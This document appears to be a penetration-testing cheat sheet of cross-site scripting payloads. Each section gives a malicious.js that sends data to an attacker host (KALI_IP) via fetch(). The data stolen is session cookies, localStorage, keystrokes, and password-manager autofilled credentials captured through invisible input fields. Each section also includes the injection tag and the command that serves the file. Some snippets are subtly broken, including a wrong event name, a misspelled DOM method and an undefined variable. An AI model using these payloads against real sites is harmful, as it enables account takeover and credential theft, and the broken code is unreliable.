Skip to main content

XSS Payloads

 

Stealing Session Cookies

XSS file that we deliver as payload: malicious.js

let cookie = document.cookie;

let encodedCookie = encodeURIComponent(cookie);

fetch("http://KALI_IP/victim?data=" + encodedCookie);

  • Start the web server:
python3 -m http.server 80

  • The Payload:
<script src="http://KALI_IP/malicious.js"></script>


Stealing Local Storage
 
XSS file that we deliver as payload: malicious.js

let data = JSON.stringify(localStorage);
let encodedData = encodeURIComponent(data);
fetch("http://KALI_IP/victim?data=" + encodedData);

  • Start the web server:
python3 -m http.server 80

  • The Payload:
<script src="http://KALI_IP/malicious.js"></script>


Keylogger
 
XSS file that we deliver as payload: malicious.js

function keylogger(event){
fetch("http://KALI_IP/victim?keystroke=" + event.key); 
}  
document.addEventListener('key', keylogger);

  • Start the web server:
python3 -m http.server 80

  • The Payload:
<script src="http://KALI_IP/malicious.js"></script>

 
 
Stealing Saved Passwords
 
!WARNING
If a password manager auto fill the login prompt we can abuse that functionality and steal the credentials

XSS file that we deliver as payload: malicious.js

let body = document.getElementByTagName("body")[0];


var u = document.createElement("input");
u.type = "text";
u.style.position = "fixed";
u.style.opacity = "0";


body.append(u);
body.append(p);


setTimeout(function(){
fetch("http://KALI_IP/victim?username=" + u.value + "&password=" + p.value);
}, 3000);

  • Start the web server:
python3 -m http.server 80

  • The Payload:
<script src="http://KALI_IP/malicious.js"></script>